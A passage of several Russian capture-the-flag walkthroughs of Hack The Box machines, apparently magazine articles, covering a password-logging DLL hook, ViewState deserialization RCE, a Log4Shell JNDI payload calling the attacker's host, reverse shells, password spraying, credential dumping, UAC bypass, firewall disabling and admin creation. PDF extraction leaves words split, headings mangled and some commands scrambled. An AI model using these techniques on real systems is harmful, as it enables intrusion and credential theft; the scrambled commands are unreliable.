BCTextEncoder
test_password

Ок но BCTextEncoder

В спис ке перех вачен ных API выбира ем фун кцию поис ка и вво дим исполь- 
зован ный пароль. Так мы находим его в парамет ре фун кции

.WideCharToMultiByte

По иск пароля

Та ким обра зом, наша DLL дол жна опре делить хук фун кции
. Для работы с перех ватчи ками будем исполь зовать

биб лиоте ку .
WideCharToMultiByte

minhook

git clone --depth=1 https://github.com/TsudaKageyu/minhook 

В текущем катало ге соз дадим файл . В глав ной фун кции 

будем вызывать фун кцию , которая опре делит в текущем про цес се

адрес фун кции  и с помощью  уста- 
новит хук для переда чи управле ния на собс твен ную фун кцию

. Она, в свою оче редь, запишет зна чение

парамет ра  в файл  и вер- 
нет управле ние легитим ной фун кции , таким обра зом

общий поток выпол нения при ложе ния не будет нарушен.

hookdll.c DllMain
Start

WideCharToMultiByte MH_CreateHookApi

HookWideCharToMultiByte
lpWideCharStr C:\Windows\Tasks\BCHookLog.txt

WideCharToMultiByte

#include <windows.h>
#include <stdio.h>
#include "minhook/include/MinHook.h"

       
      

       

typedef int (WINAPI *_WideCharToMultiByte)( UINT CodePage, DWORD
dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr
, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar );

   _WideCharToMultiByte pOrigWideCharToMultiByte = NULL;

       
       

      

int WINAPI HookWideCharToMultiByte( UINT CodePage, DWORD dwFlags,
LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int
cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar ) {
       const char* filename = "C:\\Windows\\Tasks\\BCHookLog.txt";

       FILE *file = fopen(filename, "a");
    fprintf(file, "<=====\n");
     fprintf(file, "%ls\n", lpWideCharStr);
     fprintf(file, "=====>\n\n", lpWideCharStr);
   fclose(file);

       
    

return pOrigWideCharToMultiByte(CodePage, dwFlags, lpWideCharStr,
cchWideChar, lpMultiByteStr, cbMultiByte, lpDefaultChar,
lpUsedDefaultChar);
}

  int Start() {
      LPCSTR pszFunctionName = "WideCharToMultiByte";
      LPCWSTR pszModuleName = L"kernel32.dll";
      HMODULE hModule = GetModuleHandleW(pszModuleName);
        if (hModule == NULL) return 1;

        LPVOID pOrigFunction = (LPVOID) GetProcAddress(hModule,
pszFunctionName);
        if (pOrigFunction == NULL) return 1;

      
 

pOrigWideCharToMultiByte = (_WideCharToMultiByte) GetProcAddress(
GetModuleHandleW(pszModuleName), pszFunctionName);

          if ( MH_Initialize() != MH_OK ) return 1;

       
    

  

if ( MH_CreateHookApi(pszModuleName, pszFunctionName, (LPVOID)
HookWideCharToMultiByte, (LPVOID*)&pOrigWideCharToMultiByte) != MH_OK
) return 1;

           if ( MH_EnableHook((LPVOID)pOrigFunction) != MH_OK ) return 1;

    return 0;
}

           
  

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
     switch (ul_reason_for_call) {

        case DLL_PROCESS_ATTACH:
    

  
           CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Start,
NULL, 0, NULL);
           break;

        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:

           break;
   }
    return TRUE;
}

Ском пилиру ем биб лиоте ку с помощью MinGW и для про вер ки перене сем
на вир туаль ную машину Windows.

  
  

i686-w64-mingw32-gcc hookdll.c minhook/src/hook.c minhook/src/buffer.
c minhook/src/trampoline.c minhook/src/hde/hde32.c -lws2_32 -static
-mconsole -mdll -o hookdll.dll -s

За ново запус каем BCTextEncoder и опре деля ем PID про цес са, что бы внед- 
рить в него DLL. В дан ном слу чае это 7640.

Де рево про цес сов в Process Hacker

Для внед рения DLL будем исполь зовать .Injector

Injector.exe -i -p 7640 hookdll.dll

Инъ екция DLL

Инъ екция успешно выпол нена, поэто му перехо дим к BCTextEncoder, выбира- 
ем файл для рас шифров ки и вво дим тес товый пароль. Пос ле получе ния отве- 
та от при ложе ния откры ваем файл с логами от нашей DLL:

C:\Windows\Tasks\BCHookLog.txt 

А в логах — вве ден ный пароль!

Пе рех вачен ные дан ные

Пе рено сим инъ ектор и биб лиоте ку на уда лен ную машину и внед ряем DLL
в оба про цес са .TextEncode

Инъ екция DLL

Пе риоди чес ки про веря ем файл с логами, и в один из момен тов там появит ся
пароль.

Пе рех вачен ный пароль

С помощью это го пароля рас шифру ем най ден ный ранее файл и получим
еще одну стро ку — воз можно, тоже какой-то пароль.

Рас шифро ван ный файл

Оба пароля сох раня ем в файл и переби раем их по всем поль зовате лям
домена с помощью NetExec.

nxc smb 10.10.11.250 -u users.txt -p password.txt 
--continue-on-success

Ре зуль тат перебо ра

Та ким обра зом ком про мети руем еще одну учет ную запись — поль зовате ля
.wsmith

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как мы взя ли под кон троль еще одну учет ную запись, в BloodHound необ- 
ходимо про верить воз можность прод вижения от нее к дру гим объ ектам
домена.

Граф BloodHound

Наш поль зователь име ет пра во  по отно шению к поль зовате лю
, который, в свою оче редь, име ет пра во  на все учет-

ные записи домена. Пра во  на поль зовате ля поз воля ет изме- 

нить пароль это го поль зовате ля.

GenericWrite
soc_analyst GenericAll

GenericWrite

   
%  
net rpc password 'soc_analyst' 'Password123' -U 'analysis.htb/wsmith'
'DMrB8YUcC5%2' -S DC-ANALYSIS.analysis.htb 

Те перь мож но от име ни поль зовате ля  выпол нить реп ликацию

учет ных дан ных поль зовате лей домена.

soc_analyst

impacket-secretsdump analysis.htb/soc_analyst:Password123@10.10.11.
250 

Дамп учет ных дан ных

С хешем пароля адми нис тра тора авто ризу емся на хос те и забира ем пос- 
ледний флаг.

evil-winrm -i 10.10.11.250 -u Administrateur -H 
584d96946e4ad1ddfa4f8d7938faf91d 

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/Hackplayers/evil-winrm
https://github.com/BloodHoundAD/BloodHound
http://www.rohitab.com/apimonitor
https://github.com/TsudaKageyu/minhook
https://github.com/nefarius/Injector
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ВЗЛОМ

Се год ня я покажу, как получить воз- 
можность уда лен ного выпол нения кода
на веб-сер вере под управле нием IIS через
уяз вимость типа LFI (локаль ное вклю чение
фай лов). А для повыше ния при виле гий
в Windows сна чала акти виру ем, а затем
исполь зуем при виле гию SeDebugPrivilege.

На ша цель — получе ние прав супер поль зовате ля на машине Pov с учеб ной
пло щад ки . Уро вень ее слож ности — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.251    pov.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го один откры тый порт 80 — веб-сер вер Microsoft IIS 10.0.
Там нас встре чает однос тра нич ный сайт.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к ска- 
ниро ванию.

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За даем все нуж ные парамет ры и запус каем перебор:

   256 
 1 

feroxbuster -u 'http://pov.htb/' -w directory_2.3_medium.txt -t
-d

Ни чего не находим, а зна чит, сле дует прос каниро вать под домены (я
это делаю с помощью ), что поможет най ти новые сай ты и рас ширить

область тес тирова ния.

ffuf

Здесь исполь зуем такие парамет ры:
 — URL-адрес;• -u

 — сло варь;• -w

 — количес тво потоков;• -t

 — HTTP-заголо вок;• -H

 — филь тр по раз меру стра ницы.• -fs

ffuf     
 128 

-u 'http://pov.htb/' -H 'Host: FUZZ.pov.htb' -w subdomains-
bitquark-top100000.txt -t -fs 12330 

Ре зуль тат ска ниро вания под доменов

На ходим новый под домен и добав ляем запись о нем в файл ./etc/hosts

10.10.11.251 pov.htb dev.pov.htb 

На новом сай те мож но ска чать пор тфо лио поль зовате ля.

Стра ница сай та

Зап рос на ска чива ние фай ла

В зап росе отме тим нес коль ко осо бен ностей. Во-пер вых, исполь зует ся
ViewState — фича веб-сер вера ASP.NET, которая авто мати чес ки сох раня ет
дан ные стра ниц меж ду раз ными зап росами. При рас кры тии нас тро ек
это может дать нам воз можность уда лен но выпол нять код на сер вере.
Во-вто рых, обра щаем вни мание на спо соб, которым ука зано имя фай ла
для ска чива ния.

Поп робу ем вмес то  ука зать . Пос ле нес коль ких попыток
находим тот вари ант, который дает нам содер жимое ука зан ного фай ла.

cv.pdf web.config

Со дер жимое фай ла web.cong

В выводе при сутс тву ют все необ ходимые дан ные для экс плу ата ции уяз вимос- 
ти в сери али зации ViewState.

ÒÎ×ÊÀ ÎÏÎÐÛ

Плат форма ASP.NET для сох ранения зна чений стра ниц и эле мен тов управле- 
ния на веб-стра ницах исполь зует метод ViewState. Текущее сос тояние стра- 
ницы и дру гие важ ные парамет ры сери али зуют ся и кодиру ются в Base64,
пос ле чего сох раня ются в HTML-коде стра ницы в скры том поле .ViewState

Так как ASP.NET обра баты вает сери али зован ные дан ные, это мож но
исполь зовать для выпол нения кода. Что бы такого не слу чалось, дан ные
ViewState зашиф рованы и под писаны. Алго рит мы и ключ шиф рования и под- 
писи как раз хра нят ся в фай ле , содер жимое которо го мы толь ко

что получи ли. А зна чит, мы можем сфор мировать наг рузку для выпол нения
кода.

web.config

Сос тавить и сери али зовать наг рузку мож но с помощью ути литы
. Но для начала нуж но сге нери ровать реверс-шелл на PowerShell,

нап ример с помощью .
ysoserial.net

Online Reverse Shell Generator

Ге нери рова ние реверс-шел ла

Те перь перехо дим на вир туаль ную машину с Windows и генери руем наг рузку.
В парамет ре  нуж но ука зать стра ницу с парамет ром .--path ViewState

ysoserial.exe -p ViewState  -g TextFormattingRunProperties --path="/
portfolio/default.aspx" --apppath="/" --decryptionalg="AES" 
--decryptionkey=
"74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" 
--validationalg="SHA1" --validationkey=
"5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA
3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
-c "powershell.exe -e ....."

Ге нери рова ние наг рузки

За пус каем лис тенер, что бы ловить под клю чение от нашего веб-шел ла:

rlwrap nc -nlvp 4321 

За тем встав ляем сге нери рован ную наг рузку в параметр  и выпол- 
няем зап рос.

ViewState

Зап рос на сер вер

Сес сия поль зовате ля

И в ито ге получа ем сес сию поль зовате ля .sfitz

ÏÐÎÄÂÈÆÅÍÈÅ

Сре ди докумен тов поль зовате ля находим файл .connection.xml

Со дер жимое катало га Documents

Файл содер жит зашиф рован ные учет ные дан ные поль зовате ля .alaading

Со дер жимое фай ла alaading

Их мож но рас шифро вать все го парой команд на PowerShell.

$cred = Import-CliXml -Path connection.xml
$cred.GetNetworkCredential() | Format-List *

Рас шифро ван ные учет ные дан ные

Ис поль зуя , выпол ним коман ду в кон тек сте нового поль- 

зовате ля.

Invoke-Command

$secPass = ConvertTo-SecureString 'f8gQ8fynP44ek1m3' -AsPlainText 
-Force
$creds = New-Object System.Management.Automation.PSCredential (
'alaading', $secPass)
Invoke-Command -ComputerName localhost -Credential $creds 
-ScriptBlock { whoami }

Ре зуль тат выпол нения коман ды

Та ким же спо собом мож но запус тить реверс-шелл на дру гом пор те
и получить сес сию от име ни поль зовате ля .alaading

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Àêòèâàöèÿ ïðèâèëåãèè
Прос матри вая информа цию о поль зовате ле, обра щаем вни мание на при- 
сутс тву ющую, но отклю чен ную при виле гию .SeDebugPrivilege

Ин форма ция о поль зовате ле

У поль зовате лей, которые обла дают опас ными при виле гиями, в нашем слу- 
чае , при логоне могут фор мировать ся два токена дос тупа.

Один — неп ривиле гиро ван ный, а вто рой с активны ми опас ными при виле- 
гиями. Для их раз деления сущес тву ет механизм UAC (User Account Control).
Таким обра зом, мож но обой ти UAC и получить токен с активной при виле гией

, нап ример с помощью .

SeDebugPrivilege

SeDebugPrivilege RunasCs

За пус каем лис тенер:

rlwrap nc -nlvp 6543 

И выпол няем реверс-шелл с обхо дом UAC.

.  9 \RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -l -r 10.10.16.97:
6543 --bypass-uac

Вы пол нение RunasCs

Сес сия поль зовате ля

LPE ÷åðåç SeDebugPrivilege
При виле гия  нуж на для отладки и нас трой ки памяти про- 

цес са, при над лежащей дру гой учет ной записи. Эта при виле гия помимо того,
что поз воля ет ата кующе му сдам пить учет ные записи  и  для извле- 

чения хешей паролей, дает воз можность выпол нять код в кон тек сте учет ки
. В этом поможет .

SeDebugPrivilege

SAM SYSTEM

SYSTEM SeDebugPrivilege Exploit

Этой ути лите нуж но передать PID про цес са, в кон тек сте которо го будет
выпол нена коман да. Возь мем работа ющий от име ни  про цесс .SYSTEM lsass

Get-Process lsass

Па рамет ры про цес са lsass

Уз нали PID 624. Теперь соз дадим сво его поль зовате ля и добавим его в груп- 
пу адми нис тра торов.

SeDebugPrivesc.exe 624 "net user ralf Password123 /add"

Соз дание поль зовате ля

SeDebugPrivesc.exe 624 "net localgroup Administrators ralf /add"

До бав ление поль зовате ля в груп пу

Свой адми нис тра тор соз дан, но служ бы, через которые мож но под клю чить ся
и получить управле ние, недос тупны. В такой ситу ации решение прос тое —
отклю чим фай рвол Windows.

SeDebugPrivesc.exe 624 "netsh advfirewall set allprofiles state off"

От клю чение фай рво ла

С помощью  про верим дос тупность хос та и пра ва соз данно го поль- 
зовате ля на служ бе SMB.

NetExec

nxc smb pov.htb -u ralf -p Password123 

Про вер ка поль зовате ля

Стро ка  озна чает, что поль зователь явля ется адми нис тра тором. Оста- 

лось получить шелл с помощью , и у нас будет флаг рута.

Pwn3d!
psexec

impacket-psexec 'ralf:Password123'@10.10.11.251 

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://github.com/pwntester/ysoserial.net
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ВЗЛОМ

Се год ня я на живом при мере покажу,
как сер вер Minecraft, работа ющий
на Windows, может быть ата кован
при помощи сущес тву юще го экс пло ита.
Получив воз можность уда лен но выпол нять
код, мы про ана лизи руем уста нов ленные
пла гины и най дем дан ные для повыше ния
при виле гий в сис теме.

На ша цель — зах ват машины Crafty с учеб ной пло щад ки . Уро- 
вень задания — лег кий. Все дей ствия будут выпол нять ся на Linux.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.249    crafty.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
80 — веб-сер вер Microsoft IIS 10.0;•
25565 — сер вер Minecraft 1.16.5.•

Пер вым делом пос мотрим, что есть на веб-сер вере. Там нас встре чает
однос тра нич ный сайт, рас кры вающий еще один под домен.

Глав ная стра ница сай та

Но вый под домен добав ляем в наш файл ./etc/hosts

10.10.11.249 crafty.htb play.crafty.htb 

Сра зу отме чу, что ска ниро вание ни пер вого, ни вто рого сай та ничего не дало.
По этой при чине перей дем к сер веру Minecraft.

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом сто ит про верить, есть ли для обна ружен ного соф та готовые
экс пло иты. Сущес тву ют спе циаль ные базы дан ных (нап ример, ),
но для начала мож но прос то поис кать в Google. По зап росу «Minecraft 1.16.5
exploit» получа ем информа цию о том, что в этой вер сии сер вера есть уяз- 
вимый ком понент Log4j.

Exploit-DB

По иск экс пло итов в Google

На GitHub находим , который поз воля ет получить уда лен ное выпол- 
нение кода (RCE).

экс пло ит

INFO

О том, как устро ена уяз вимость Log4Shell
в средс тве логиро вания Log4j, читай в статье
«

».
Log4HELL! Раз бира ем Log4Shell во всех под- 

робнос тях

Ав тор экс пло ита под разуме вает, что сер вер раз вернут на Linux, а в нашем
слу чае исполь зует ся Windows. Поэто му в исходном коде нуж но изме нить
интер пре татор коман дной обо лоч ки с  на  (стро ка 26)./bin/sh cmd.exe

Из менен ный код экс пло ита

При запус ке кода нуж но исполь зовать парамет ры  и , зада- 
ющие адрес и порт лис тенера для под клю чения реверс-шел ла. Порт веб-сер- 
вера, с которо го будет заг ружать ся наг рузка, необ ходимо передать
в парамет ре .

--userip --lport

--webport

git clone https://github.com/kozmer/log4j-shell-poc 
cd log4j-shell-poc 
python3 poc.py --userip 10.10.16.143 --webport 8000 --lport 4321 

За пуск экс пло ита

По луча ем сооб щение об ошиб ке: исполня емый файл Java не най ден. Дело
в том, что у нас не уста нов лен JDK, кача ем его с .сай та Oracle

wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-
x64.tar.gz 

 tar -xf jdk-8u181-linux-x64.tar.gz 
mv jdk1.8.0_181 jdk1.8.0_20 

Ес ли пов торить запуск экс пло ита, он оста новит ся и будет слу шать
порт 1389 и ждать зап рос от наг рузки Log4j.

python3 poc.py --userip 10.10.16.143 --webport 8000 --lport 4321 

Так как мы ожи даем под клю чение от реверс-шел ла, запус тим лис тенер:

rlwrap nc -nlvp 4321 

За тем исполь зуем  для под клю чения к сер веру Minecraft.
Пос ле запус ка зада ем адрес сер вера 10.10.11.249:25565, а ког да соеди- 
нение уста нов лено, отправ ляем наг рузку:

кон соль ный кли ент

${jndi:ldap://10.10.16.143:1389/a} 

Под клю чение к сер веру Minecraft

Поч ти момен таль но получа ем зап рос от наг рузки, а затем и сес сию на лис- 
тенере.

Ра бота экс пло ита

Мы можем зай ти от име ни поль зовате ля и заб рать пер вый флаг.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Од нако в этот раз ничего, кро ме катало га сер вера Minecraft, в домаш ней пап- 
ке поль зовате ля най ти не уда лось. При этом в катало ге  есть все го
один файл JAR.

plugins

Со дер жимое катало га plugins

Так как боль ше никаких зацепок нет, взгля нем на этот файл в деком пилято ре.
Воз можно, там най дут ся новые уяз вимос ти или даже учет ные дан ные.

Сна чала нуж но как-то ска чать этот файл с уда лен ного сер вера. Для это го я
буду исполь зовать .
Ска чаем файл и запус тим на локаль ном хос те, а в качес тве парамет ра
переда дим номер пор та 80.

веб-сер вер Python 3 с воз можностью заг рузки фай лов

wget https://raw.githubusercontent.com/RalfHacker/
HTTPServerWithUpload/main/HTTPServerWithUpload.py 
python3 HTTPServerWithUpload.py 80 

Ког да веб-сер вер будет запущен, для заг рузки фай ла выпол ним зап рос
с нашего хос та при помощи ути литы curl. В HTTP-заголов ке 

нуж но ука зать зна чение , а путь к фай лу, который заг- 
ружа ется на сер вер, необ ходимо передать через аргу мент  в парамет ре

.

Content-Type
multipart/form-data

-F
file

curl.exe -X POST http://10.10.16.143/ -H "Content-Type: multipart/
form-data" -F file=@"playercounter-1.0-SNAPSHOT.jar"

Заг рузка фай ла на сер вер

Ло ги веб-сер вера

Пла гин написан на Java, а фай лы JAR лег ко деком пилиру ются. Судя по раз- 
меру, в фай ле не так мно го кода, поэто му не обя затель но исполь зовать
какой-то локаль ный деком пилятор или целую IDE. Лег кая и быс трая аль тер-
натива — сай ты вро де .decompiler.com

Ре зуль тат деком пиляции фай ла

Как и пред полага лось, прог рамма сос тоит все го из одно го фай ла Java,
при этом в исходном коде при сутс тву ет незашиф рован ный пароль.

Ис ходный код фай ла Playercounter.java

Ос талось най ти при мене ние это му паролю.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом сто ит про верить, не явля ется ли най ден ная стро ка паролем
адми нис тра тора. Но так как нам дос тупен толь ко порт 80, у нас нет воз- 
можнос ти под клю чить ся к какой-либо служ бе для получе ния сес сии и выпол- 
нения команд. Это зна чит, что мы можем толь ко поп робовать имперсо ниро-
вать адми нис тра тора Windows, для чего будем исполь зовать .RunasCs

Вы пол нить реверс-шелл через RunasCs не получи лось, и я выб рал более
прос той вари ант — прос то отклю чить фай рвол с помощью ути литы .netsh

.
  8 

\RunasCs.exe Administrator s67u84zKq8IXw "C:\\Windows\\System32\\
netsh.exe advfirewall set allprofiles state off" -l --bypass-uac

От клю чение фай рво ла

Про веря ем, не стал ли дос тупен порт 445, на котором работа ет служ ба SMB.

nxc smb 10.10.11.249 

Про вер ка дос тупнос ти служ бы SMB

Так как служ ба дос тупна, а учет ные дан ные валид ны, под клю чаем ся
с помощью ути литы  и забира ем флаг рута.psexec

impacket-psexec 'Administrator:s67u84zKq8IXw'@10.10.11.249 

Флаг рута

Ма шина зах вачена!
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ВЗЛОМ

В этом рай тапе я покажу, как может быть
ата кован домен управле ния груп повыми
полити ками в Active Directory. Но нач нем мы
с вос ста нов ленных зап росов Kerberos
и получим зашиф рован ные дан ные,
которые поз волят нам подоб рать пароль
поль зовате ля. А затем вос поль зуем ся уяз- 
вимостью в Joomla, что бы получить сес сию
на уда лен ном сер вере.

На ша цель — получе ние прав супер поль зовате ля на машине Office с учеб ной
пло щад ки . Уро вень задания — слож ный.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.3    office.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел мно жес тво откры тых пор тов, что впол не естес твен но для кон- 
трол лера домена:

 — DNS;• 53

 (HTTP) — веб-сер вер Apache httpd 2.4.56;• 80

 — Kerberos;• 88

 — служ ба сеан сов NetBIOS, NetLogon;• 139

 — LDAP;• 389

 (HTTPS) — веб-сер вер Apache httpd 2.4.56;• 443

 — SMB;• 445

 — служ ба сме ны пароля Kerberos;• 464

 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;• 593

 — LDAP с шиф ровани ем SSL или TLS;• 636

 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;• 3268

 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

• 3269

 — служ ба уда лен ного управле ния WinRM;• 5985

 — веб-служ бы AD DS.• 9389

Как пра вило, в таких слу чаях пер вым делом сто ит смот реть SMB, но на
веб-сер вере раз верну та Joomla, а она может быть уяз вима.

ÒÎ×ÊÀ ÂÕÎÄÀ

Ког да име ем дело с Joomla, пер вым делом сле дует исполь зовать спе циали- 
зиро ван ный ска нер — .JoomScan

joomscan -u http://10.10.11.3 

Ре зуль тат ска ниро вания CMS Joomla

Оп ределя ем вер сию (4.2.7) и тут же про буем най ти для нее экс пло иты. Пер- 
вым делом идем в Google.

По иск экс пло итов в Google

И сра зу узна ём, что в нашей вер сии есть уяз вимость , что
поз волит нам получить учет ные дан ные для под клю чения к базе дан ных.
Для это го будем исполь зовать .

CVE-2023-23752

най ден ный экс пло ит
За пус каем и ука зыва ем адрес:

python3 CVE-2023-23752.py -u http://10.10.11.3 

Ре зуль тат работы экс пло ита

Уяз вимость зак люча ется в неп равиль ной про вер ке дос тупа. Экс пло ит про- 
веря ет раз личные API, которые могут вер нуть учет ные дан ные для под клю- 
чения к базе дан ных. Одна ко для авто риза ции в CMS получен ный таким обра- 
зом пароль не подошел, а дру гих поль зовате лей, кро ме адми нис тра тора,
най ти не уда лось.

В этом слу чае исполь зуем недочет про токо ла Kerberos: на зап рос тикета
поль зовате ля могут при ходить отве ты с раз ными кодами оши бок. Один —
при зап росе тикета для несущес тву юще го поль зовате ля, дру гой — в ответ
на невер ный пароль. Таким обра зом, мож но методом перебо ра узнать, какие
поль зовате ли есть в домене. Для это го исполь зуем ути литу .kerbrute

kerbrute_linux_amd64 userenum --dc dc.office.htb -d office.htb xato-
net-10-million-usernames.txt 

Ре зуль тат перебо ра поль зовате лей

Сох раня ем най ден ных поль зовате лей в файл и спре им получен ный ранее
пароль с помощью .NetExec

  
 3 

nxc smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!'
--smb-timeout

Ре зуль тат спрея пароля

Те перь у нас есть валид ная учет ная запись, что поз воля ет про вес ти базовую
раз ведку в домене.

Пер вым делом получим спи сок всех поль зовате лей.

  nxc ldap 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --users

Спи сок поль зовате лей

Так же необ ходимо сра зу узнать, какие поль зовате ли могут получить сес сию
через служ бу WinRM. Для это го зап росим чле нов груп пы «Поль зовате ли уда- 
лен ного управле ния».

   
  3 

nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --group
'Remote Management Users' --smb-timeout

Со дер жимое груп пы Remote Management Users

По лучить сес сию на сер вере мож но все го через одно го поль зовате ля.
Теперь сто ит про верить общие ресур сы SMB.

   
 3 

nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --shares
--smb-timeout

Об щие ресур сы SMB

Ка талог  — нес тандар тный, поэто му нуж но прос мотреть его
содер жимое.

SOC Analysis

impacket-smbclient 'office.htb/dwolfe:H0lOgrams4reTakIng0Ver754!'@10.
10.11.3 

Со дер жимое обще го SMB-ресур са

В общем катало ге находим дамп тра фика. Ска чива ем его для ана лиза.

Продолжение статьи →
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ÒÎ×ÊÀ ÎÏÎÐÛ

Kerberos network dump
От кры ваем ска чан ный дамп тра фика в  и в самом кон це находим

два пакета Kerberos.

Wireshark

Со дер жимое дам па тра фика

Зап рос AS-REQ содер жит зашиф рован ную мет ку вре мени. В качес тве клю ча
шиф рования исполь зует ся хеш пароля поль зовате ля.

Со дер жимое сетево го пакета зап роса AS-REQ

Ис поль зуя  , мож но попытать ся подоб рать

